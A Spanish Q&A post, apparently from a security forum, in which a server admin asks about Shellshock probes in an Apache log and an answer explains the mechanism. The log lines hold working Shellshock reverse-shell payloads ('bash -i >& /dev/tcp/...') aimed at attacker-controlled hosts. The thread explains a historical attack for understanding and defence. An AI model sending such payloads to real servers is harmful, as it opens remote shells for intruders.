¿Cómo funciona este análisis de shellshock?

5

Obviamente, mi servidor está actualizado y no es vulnerable a las vulnerabilidades de shellshock.

Sin embargo, todavía tengo curiosidad por saber cómo funciona el siguiente análisis de shellshock:

/var/log/apache2 # cat access.log | grep bash
209.126.230.72 - - [25/Sep/2014:00:52:03 +0000] "GET / HTTP/1.0" 200 11783 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
94.23.193.131 - - [26/Sep/2014:03:04:45 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/62.122.246.165/2333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:20:53 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:23:50 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:28:43 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:33:03 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:45:16 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:45:16 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:48:56 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:36:20 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:37:30 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:42:32 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

El formato de registro es por lo tanto:

LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\""  

los dos últimos campos son el referente y el agente de usuario.

El primer análisis es amigable (ver enlace) y coloca la prueba de explotación en la cadena de agente de usuario. ¿Por qué?

La serie de análisis posterior es obviamente maliciosa y coloca la prueba de explotación en el referente. ¿Por qué? ¿Qué logra el siguiente comando?

() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1' 

¿Por qué las diferentes direcciones IP en el comando?

    
pregunta augustin 27.09.2014 - 03:34
fuente

1 respuesta

8

Si / es representado por un script cgi, ese script se llamará con el User-Agent en una variable de entorno llamada HTTP_USER_AGENT .

bash vería todas las variables de entorno que comienzan con () { para encontrar definiciones de funciones y ejecutar la definición de funciones. En su ejemplo, la definición de la función sería: HTTP_USER_AGENT() { :;}

Debido a que el error bash continuaría procesándose con ; como separador de comandos, y /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1' como otro comando, que no solo definió una función inocua, sino que abrió su sistema al atacante.

>& abre un archivo. /dev/tcp/ es especial porque cada vez que bash intenta abrir un archivo con un nombre que comienza con esa cadena, en realidad abre un socket TCP. Esta es una característica de bash en sí. No funcionará si otro comando lo abre, por lo que, por ejemplo, cat /dev/tcp/... no funcionará.

0>&1 usa el socket previamente abierto para la salida también como entrada.

bash -i inicia un shell interactivo bash con stdio conectado a un socket TCP. Presumiblemente, 195.225.34.101 es la dirección IP de un host controlado por el atacante. Es muy probable que sea un servidor que el atacante comprometió con la misma vulnerabilidad.

El uso de diferentes direcciones IP probablemente se deba a que el atacante desea estar preparado en caso de que se eliminen algunos de los hosts que controla.

    
respondido por el kasperd 27.09.2014 - 12:53
fuente

Lea otras preguntas en las etiquetas